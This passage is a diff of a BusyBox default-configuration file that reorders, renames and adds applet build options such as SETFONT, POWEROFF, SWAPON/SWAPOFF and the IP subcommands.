 	bool
 	default y
@@ -844,12 +862,30 @@ config BUSYBOX_DEFAULT_DEALLOCVT
 config BUSYBOX_DEFAULT_DUMPKMAP
 	bool
 	default n
+config BUSYBOX_DEFAULT_FGCONSOLE
+	bool
+	default n
 config BUSYBOX_DEFAULT_KBD_MODE
 	bool
 	default n
 config BUSYBOX_DEFAULT_LOADFONT
 	bool
 	default n
+config BUSYBOX_DEFAULT_SETFONT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
+	bool
+	default n
+config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
+	string
+	default ""
+config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
+	bool
+	default n
 config BUSYBOX_DEFAULT_LOADKMAP
 	bool
 	default n
@@ -871,15 +907,6 @@ config BUSYBOX_DEFAULT_SETCONSOLE
 config BUSYBOX_DEFAULT_FEATURE_SETCONSOLE_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETFONT
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
-	bool
-	default n
-config BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
-	string
-	default ""
 config BUSYBOX_DEFAULT_SETKEYCODES
 	bool
 	default n
@@ -889,12 +916,6 @@ config BUSYBOX_DEFAULT_SETLOGCONS
 config BUSYBOX_DEFAULT_SHOWKEY
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
-	bool
-	default n
 config BUSYBOX_DEFAULT_MKTEMP
 	bool
 	default y
@@ -1081,10 +1102,10 @@ config BUSYBOX_DEFAULT_FEATURE_FIND_LINKS
 config BUSYBOX_DEFAULT_GREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
+config BUSYBOX_DEFAULT_EGREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
+config BUSYBOX_DEFAULT_FGREP
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
@@ -1120,6 +1141,12 @@ config BUSYBOX_DEFAULT_FEATURE_BOOTCHARTD_CONFIG_FILE
 config BUSYBOX_DEFAULT_HALT
 	bool
 	default y
+config BUSYBOX_DEFAULT_POWEROFF
+	bool
+	default y
+config BUSYBOX_DEFAULT_REBOOT
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
 	bool
 	default n
@@ -1285,28 +1312,28 @@ config BUSYBOX_DEFAULT_LSATTR
 config BUSYBOX_DEFAULT_TUNE2FS
 	bool
 	default n
-config BUSYBOX_DEFAULT_MODINFO
+config BUSYBOX_DEFAULT_MODPROBE_SMALL
 	bool
 	default n
-config BUSYBOX_DEFAULT_MODPROBE_SMALL
+config BUSYBOX_DEFAULT_DEPMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
+config BUSYBOX_DEFAULT_INSMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
+config BUSYBOX_DEFAULT_LSMOD
 	bool
 	default n
-config BUSYBOX_DEFAULT_INSMOD
+config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
 	bool
 	default n
-config BUSYBOX_DEFAULT_RMMOD
+config BUSYBOX_DEFAULT_MODINFO
 	bool
 	default n
-config BUSYBOX_DEFAULT_LSMOD
+config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_OPTIONS_ON_CMDLINE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_LSMOD_PRETTY_2_6_OUTPUT
+config BUSYBOX_DEFAULT_FEATURE_MODPROBE_SMALL_CHECK_ALREADY_LOADED
 	bool
 	default n
 config BUSYBOX_DEFAULT_MODPROBE
@@ -1315,7 +1342,7 @@ config BUSYBOX_DEFAULT_MODPROBE
 config BUSYBOX_DEFAULT_FEATURE_MODPROBE_BLACKLIST
 	bool
 	default n
-config BUSYBOX_DEFAULT_DEPMOD
+config BUSYBOX_DEFAULT_RMMOD
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_2_4_MODULES
@@ -1354,154 +1381,148 @@ config BUSYBOX_DEFAULT_DEFAULT_MODULES_DIR
 config BUSYBOX_DEFAULT_DEFAULT_DEPMOD_FILE
 	string
 	default ""
-config BUSYBOX_DEFAULT_BLKDISCARD
+config BUSYBOX_DEFAULT_ACPID
 	bool
 	default n
-config BUSYBOX_DEFAULT_BLOCKDEV
+config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FATATTR
+config BUSYBOX_DEFAULT_BLKDISCARD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSTRIM
+config BUSYBOX_DEFAULT_BLKID
 	bool
 	default n
-config BUSYBOX_DEFAULT_MDEV
+config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
+config BUSYBOX_DEFAULT_BLOCKDEV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
+config BUSYBOX_DEFAULT_DMESG
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
+	default y
+config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
+	default y
+config BUSYBOX_DEFAULT_FATATTR
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
+config BUSYBOX_DEFAULT_FBSET
 	bool
 	default n
-config BUSYBOX_DEFAULT_MOUNT
+config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
+	default n
+config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
+config BUSYBOX_DEFAULT_FDFORMAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
+config BUSYBOX_DEFAULT_FDISK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
+config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
+config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
+	default n
+config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_NSENTER
+config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
+config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_REV
+config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETARCH
+config BUSYBOX_DEFAULT_FINDFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_UEVENT
+config BUSYBOX_DEFAULT_FLOCK
 	bool
 	default n
-config BUSYBOX_DEFAULT_UNSHARE
+config BUSYBOX_DEFAULT_FDFLUSH
 	bool
 	default n
-config BUSYBOX_DEFAULT_ACPID
+config BUSYBOX_DEFAULT_FREERAMDISK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
+config BUSYBOX_DEFAULT_FSCK_MINIX
 	bool
 	default n
-config BUSYBOX_DEFAULT_BLKID
+config BUSYBOX_DEFAULT_FSTRIM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
+config BUSYBOX_DEFAULT_GETOPT
 	bool
 	default n
-config BUSYBOX_DEFAULT_DMESG
+config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
+	default n
+config BUSYBOX_DEFAULT_HEXDUMP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FBSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
+config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
+config BUSYBOX_DEFAULT_HD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDFLUSH
+config BUSYBOX_DEFAULT_HWCLOCK
 	bool
-	default n
-config BUSYBOX_DEFAULT_FDFORMAT
+	default y
+config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDISK
+config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
+config BUSYBOX_DEFAULT_IPCRM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
+config BUSYBOX_DEFAULT_IPCS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
+config BUSYBOX_DEFAULT_LOSETUP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
+config BUSYBOX_DEFAULT_LSPCI
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
+config BUSYBOX_DEFAULT_LSUSB
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
+config BUSYBOX_DEFAULT_MDEV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
+config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
+config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FINDFS
+config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLOCK
+config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
 	bool
 	default n
-config BUSYBOX_DEFAULT_FREERAMDISK
+config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSCK_MINIX
+config BUSYBOX_DEFAULT_MKE2FS
 	bool
 	default n
 config BUSYBOX_DEFAULT_MKFS_EXT2
@@ -1516,55 +1537,55 @@ config BUSYBOX_DEFAULT_FEATURE_MINIX2
 config BUSYBOX_DEFAULT_MKFS_REISER
 	bool
 	default n
-config BUSYBOX_DEFAULT_MKFS_VFAT
-	bool
-	default n
-config BUSYBOX_DEFAULT_GETOPT
+config BUSYBOX_DEFAULT_MKDOSFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
+config BUSYBOX_DEFAULT_MKFS_VFAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_HEXDUMP
+config BUSYBOX_DEFAULT_MKSWAP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
+config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
 	bool
 	default n
-config BUSYBOX_DEFAULT_HD
+config BUSYBOX_DEFAULT_MORE
 	bool
 	default n
-config BUSYBOX_DEFAULT_HWCLOCK
+config BUSYBOX_DEFAULT_MOUNT
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPCRM
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
 	bool
-	default n
-config BUSYBOX_DEFAULT_IPCS
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_LOSETUP
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_LSPCI
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
 	bool
-	default n
-config BUSYBOX_DEFAULT_LSUSB
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
 	bool
-	default n
-config BUSYBOX_DEFAULT_MKSWAP
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
 	bool
 	default n
-config BUSYBOX_DEFAULT_MORE
+config BUSYBOX_DEFAULT_NSENTER
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
 	bool
 	default n
 config BUSYBOX_DEFAULT_PIVOT_ROOT
@@ -1579,6 +1600,9 @@ config BUSYBOX_DEFAULT_RDEV
 config BUSYBOX_DEFAULT_READPROFILE
 	bool
 	default n
+config BUSYBOX_DEFAULT_REV
+	bool
+	default n
 config BUSYBOX_DEFAULT_RTCWAKE
 	bool
 	default n
@@ -1588,24 +1612,42 @@ config BUSYBOX_DEFAULT_SCRIPT
 config BUSYBOX_DEFAULT_SCRIPTREPLAY
 	bool
 	default n
-config BUSYBOX_DEFAULT_SWAPONOFF
+config BUSYBOX_DEFAULT_SETARCH
 	bool
 	default n
+config BUSYBOX_DEFAULT_LINUX32
+	bool
+	default n
+config BUSYBOX_DEFAULT_LINUX64
+	bool
+	default n
+config BUSYBOX_DEFAULT_SWAPON
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
 	bool
 	default n
+config BUSYBOX_DEFAULT_SWAPOFF
+	bool
+	default y
 config BUSYBOX_DEFAULT_SWITCH_ROOT
 	bool
 	default y
+config BUSYBOX_DEFAULT_UEVENT
+	bool
+	default n
 config BUSYBOX_DEFAULT_UMOUNT
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_UMOUNT_ALL
 	bool
 	default y
+config BUSYBOX_DEFAULT_UNSHARE
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP
 	bool
 	default y
@@ -1678,112 +1720,13 @@ config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SQUASHFS
 config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SYSV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
-	bool
-	default n
-config BUSYBOX_DEFAULT_CONSPY
-	bool
-	default n
-config BUSYBOX_DEFAULT_CROND
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_CROND_D
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
-	string
-	default "/etc"
-config BUSYBOX_DEFAULT_I2CGET
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CDUMP
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CDETECT
-	bool
-	default n
-config BUSYBOX_DEFAULT_LESS
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
-	int
-	default 9999999
-config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
-	bool
-	default n
-config BUSYBOX_DEFAULT_NANDWRITE
-	bool
-	default n
-config BUSYBOX_DEFAULT_NANDDUMP
-	bool
-	default n
-config BUSYBOX_DEFAULT_RFKILL
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETSERIAL
-	bool
-	default n
-config BUSYBOX_DEFAULT_TASKSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIATTACH
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIDETACH
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIMKVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRMVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRSVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIUPDATEVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRENAME
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
 	bool
 	default n
-config BUSYBOX_DEFAULT_WALL
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
 	bool
 	default n
 config BUSYBOX_DEFAULT_ADJTIMEX
@@ -1831,6 +1774,21 @@ config BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
 config BUSYBOX_DEFAULT_CHRT
 	bool
 	default n
+config BUSYBOX_DEFAULT_CONSPY
+	bool
+	default n
+config BUSYBOX_DEFAULT_CROND
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CROND_D
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
+	string
+	default "/etc"
 config BUSYBOX_DEFAULT_CRONTAB
 	bool
 	default y
@@ -1867,7 +1825,7 @@ config BUSYBOX_DEFAULT_FEATURE_EJECT_SCSI
 config BUSYBOX_DEFAULT_FBSPLASH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLASHCP
+config BUSYBOX_DEFAULT_FLASH_ERASEALL
 	bool
 	default n
 config BUSYBOX_DEFAULT_FLASH_LOCK
@@ -1876,40 +1834,85 @@ config BUSYBOX_DEFAULT_FLASH_LOCK
 config BUSYBOX_DEFAULT_FLASH_UNLOCK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLASH_ERASEALL
+config BUSYBOX_DEFAULT_FLASHCP
 	bool
 	default n
-config BUSYBOX_DEFAULT_IONICE
+config BUSYBOX_DEFAULT_HDPARM
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CGET
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CSET
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CDUMP
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CDETECT
 	bool
 	default n
 config BUSYBOX_DEFAULT_INOTIFYD
 	bool
 	default n
+config BUSYBOX_DEFAULT_IONICE
+	bool
+	default n
 config BUSYBOX_DEFAULT_LAST
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_HDPARM
+config BUSYBOX_DEFAULT_LESS
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
+	int
+	default 9999999
+config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
+config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
+config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
+config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
 	bool
 	default n
 config BUSYBOX_DEFAULT_LOCK
@@ -1936,91 +1939,79 @@ config BUSYBOX_DEFAULT_MOUNTPOINT
 config BUSYBOX_DEFAULT_MT
 	bool
 	default n
-config BUSYBOX_DEFAULT_RAIDAUTORUN
+config BUSYBOX_DEFAULT_NANDWRITE
 	bool
 	default n
-config BUSYBOX_DEFAULT_READAHEAD
+config BUSYBOX_DEFAULT_NANDDUMP
 	bool
 	default n
-config BUSYBOX_DEFAULT_RUNLEVEL
+config BUSYBOX_DEFAULT_RAIDAUTORUN
 	bool
 	default n
-config BUSYBOX_DEFAULT_RX
+config BUSYBOX_DEFAULT_READAHEAD
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETSID
+config BUSYBOX_DEFAULT_RFKILL
 	bool
 	default n
-config BUSYBOX_DEFAULT_STRINGS
-	bool
-	default y
-config BUSYBOX_DEFAULT_TIME
-	bool
-	default y
-config BUSYBOX_DEFAULT_TIMEOUT
+config BUSYBOX_DEFAULT_RUNLEVEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_TTYSIZE
+config BUSYBOX_DEFAULT_RX
 	bool
 	default n
-config BUSYBOX_DEFAULT_VOLNAME
+config BUSYBOX_DEFAULT_SETSERIAL
 	bool
 	default n
-config BUSYBOX_DEFAULT_WATCHDOG
+config BUSYBOX_DEFAULT_SETSID
 	bool
 	default n
-config BUSYBOX_DEFAULT_NAMEIF
+config BUSYBOX_DEFAULT_STRINGS
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
+	default y
+config BUSYBOX_DEFAULT_TASKSET
 	bool
 	default n
-config BUSYBOX_DEFAULT_NBDCLIENT
+config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC
+config BUSYBOX_DEFAULT_TIME
 	bool
 	default y
-config BUSYBOX_DEFAULT_NC_SERVER
+config BUSYBOX_DEFAULT_TIMEOUT
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC_EXTRA
+config BUSYBOX_DEFAULT_TTYSIZE
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC_110_COMPAT
+config BUSYBOX_DEFAULT_UBIATTACH
 	bool
 	default n
-config BUSYBOX_DEFAULT_PING
-	bool
-	default y
-config BUSYBOX_DEFAULT_PING6
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+config BUSYBOX_DEFAULT_UBIDETACH
 	bool
-	default y
-config BUSYBOX_DEFAULT_WGET
+	default n
+config BUSYBOX_DEFAULT_UBIMKVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+config BUSYBOX_DEFAULT_UBIRMVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+config BUSYBOX_DEFAULT_UBIRSVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+config BUSYBOX_DEFAULT_UBIUPDATEVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+config BUSYBOX_DEFAULT_UBIRENAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+config BUSYBOX_DEFAULT_VOLNAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+config BUSYBOX_DEFAULT_WALL
 	bool
 	default n
-config BUSYBOX_DEFAULT_WHOIS
+config BUSYBOX_DEFAULT_WATCHDOG
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_IPV6
@@ -2056,19 +2047,16 @@ config BUSYBOX_DEFAULT_DNSD
 config BUSYBOX_DEFAULT_ETHER_WAKE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FAKEIDENTD
-	bool
-	default n
 config BUSYBOX_DEFAULT_FTPD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
+config BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_FTPD_ACCEPT_BROKEN_LIST
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
+config BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
 	bool
 	default n
 config BUSYBOX_DEFAULT_FTPGET
@@ -2083,6 +2071,9 @@ config BUSYBOX_DEFAULT_FEATURE_FTPGETPUT_LONG_OPTIONS
 config BUSYBOX_DEFAULT_HOSTNAME
 	bool
 	default n
+config BUSYBOX_DEFAULT_DNSDOMAINNAME
+	bool
+	default n
 config BUSYBOX_DEFAULT_HTTPD
 	bool
 	default n
@@ -2143,19 +2134,16 @@ config BUSYBOX_DEFAULT_IFENSLAVE
 config BUSYBOX_DEFAULT_IFPLUGD
 	bool
 	default n
-config BUSYBOX_DEFAULT_IFUPDOWN
-	bool
-	default n
-config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
-	string
-	default ""
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
+config BUSYBOX_DEFAULT_IFUP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
+config BUSYBOX_DEFAULT_IFDOWN
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
+config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
+	string
+	default ""
+config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
@@ -2194,6 +2182,24 @@ config BUSYBOX_DEFAULT_FEATURE_INETD_RPC
 config BUSYBOX_DEFAULT_IP
 	bool
 	default y
+config BUSYBOX_DEFAULT_IPADDR
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPROUTE
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPTUNNEL
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPRULE
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPNEIGH
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
 	bool
 	default y
@@ -2215,37 +2221,40 @@ config BUSYBOX_DEFAULT_FEATURE_IP_RULE
 config BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
+config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
+config BUSYBOX_DEFAULT_IPCALC
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPADDR
+config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPLINK
